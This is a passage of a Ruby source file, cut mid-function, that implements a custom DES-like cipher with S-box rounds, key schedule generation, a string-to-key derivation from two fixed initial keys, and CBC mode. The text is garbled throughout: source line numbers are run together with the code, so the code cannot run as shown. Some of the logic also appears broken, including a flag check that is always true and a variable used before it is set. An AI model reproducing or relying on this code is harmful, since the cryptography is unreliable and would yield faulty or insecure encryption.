0x3F3F3F3F896data_block[1] &= 0x3F3F3F3F897data_block898end899900def desx(data_block, ksch, idx)901ksch = ksch.pack('V*')902ksch = ksch.unpack('Q<*')903key_block = ksch[idx]904905data_block_ptr = data_block.pack('V*')906data_block_ptr = data_block_ptr.unpack1('Q<*')907data_block_ptr ^= key_block908909counter = 1910data_block_byte_ptr = [data_block_ptr].pack('Q<')911left = SBOXES[data_block_byte_ptr[0].ord]912right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]913counter += 1914left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]915counter += 1916right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]917counter += 1918left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]919counter += 1920right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]921counter += 1922left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]923counter += 1924right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]925counter += 1926left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]927counter += 1928right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]929counter += 1930left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]931counter += 1932right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]933counter += 1934left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]935counter += 1936right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]937counter += 1938left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]939counter += 1940right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]941942# Create return tuple943ret_block = Array.new944ret_block.push left945ret_block.push right946ret_block947end948949def store(data_block)950a1 = data_block.pack('V*')951val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1952val & 0xffffffff953end954955def sbox_xors(data_block_in, ksch_arg, decrypt_flag)956decrypt_flag_cpy = decrypt_flag957if (decrypt_flag & 0x100) != 0958data_block_0 = data_block_in959else960data_block_0 = rotate_block_init(data_block_in)961end962963encrypt_flag = (decrypt_flag_cpy & 1) == 0964ti_block_0 = load(data_block_0[0])965ti_block_1 = load(data_block_0[1])966967for i in 0..15968ti_cpy = ti_block_1969if encrypt_flag970ti_block_1 = desx(ti_block_1, ksch_arg, i)971else972ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)973end974ti_block_1[0] ^= ti_block_0[0]975ti_block_1[1] ^= ti_block_0[1]976ti_block_0 = ti_cpy977end978979data_block_0[0] = store(ti_block_1)980data_block_0[1] = store(ti_block_0)981982if (!(decrypt_flag_cpy & 0x200) != 0)983rotate_block_final(data_block_0)984else985data_block_0986end987end988989def gen_key_unchecked(key)990idx = 0991key_arr = key.unpack('V*')992key_sch = Array.new993for i in 0..15994idx += ROTATIONS[i].ord995v6 = 0996v5 = 0997v14 = 0998for j in 0..47999pc2_p1 = (idx + PC2[j].ord) % 0x1C1000if PC2[j].ord > 0x1B1001pc2_p2 = 0x1c1002else1003pc2_p2 = 01004end1005v13 = PC1[pc2_p1 + pc2_p2].ord1006if v13 <= 311007v12 = 01008else1009v12 = 11010v13 -= 321011end1012if j <= 231013v10 = j1014else1015v14 = 11016v10 = j - 241017end1018v11 = 8 * (v10 / 6) + v10 % 61019key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]10201021if (key_and != 0)1022if v14 == 11023v6 |= SBOX_BYTE_ORDER[v11]1024else1025v5 |= SBOX_BYTE_ORDER[v11]1026end1027end1028end1029key_sch.push v51030key_sch.push v61031end1032key_sch1033end10341035def des_string_to_key(key_buf_str)1036des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)1037des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)10381039temp_key1 = Array.new(8, 0)1040temp_key2 = Array.new(8, 0)10411042key_buf_bytes = key_buf_str.unpack('c*')10431044counter = 01045key_buf_str_len = key_buf_bytes.length - 11046for i in 0..key_buf_str_len1047counter %= 81048temp_key1[counter] |= key_buf_bytes[i]1049temp_key2[counter] |= key_buf_bytes[i]10501051data_block = temp_key1.pack('c*').unpack('V*')1052temp_key1 = sbox_xors(data_block, des_keysch_0, 0)1053temp_key1 = temp_key1.pack('V*').unpack('c*')10541055data_block = temp_key2.pack('c*').unpack('V*')1056temp_key2 = sbox_xors(data_block, des_keysch_1, 0)1057temp_key2 = temp_key2.pack('V*').unpack('c*')1058counter += 11059end10601061# Prepare the return array1062ret_key = Array.new(8, 0)1063for j in 0..71064ret_key[j] = temp_key2[j] ^ temp_key1[j]1065end1066ret_key.pack('c*')1067end10681069def des_cbc(input_buf, key_sch, iv, decrypt_flag)1070output_block_arr = Array.new1071blocks = input_buf.unpack('Q<*')1072for i in 0..blocks.length - 110731074current_block = blocks[i]1075if decrypt_flag == 11076cur_block = current_block1077else1078current_block ^= iv1079end10801081current_block_tuple = [current_block].pack('Q<').unpack('V*')1082output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)1083output_block = output_block_tuple.pack('V*').unpack1('Q<')1084output_block_arr.push output_block10851086if decrypt_flag == 11087output_block ^= iv1088iv = cur_block1089else1090iv = output_block1091end1092end10931094output_block_arr.pack('Q<*')1095end10961097def des_crypt_func(binary_buf, key_buf, decrypt_flag)1098des_key = des_string_to_key(key_buf)1099des_keysch = gen_key_unchecked(des_key)11001101temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)1102binary_buf_str = binary_buf.unpack('c*')11031104for j in 0..binary_buf_str.length - 11105temp_enc_buf[j] = binary_buf_str[j]1106end11071108temp_enc_buf = temp_enc_buf.pack('c*')1109output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)1110output_buf1111end11121113end111411151116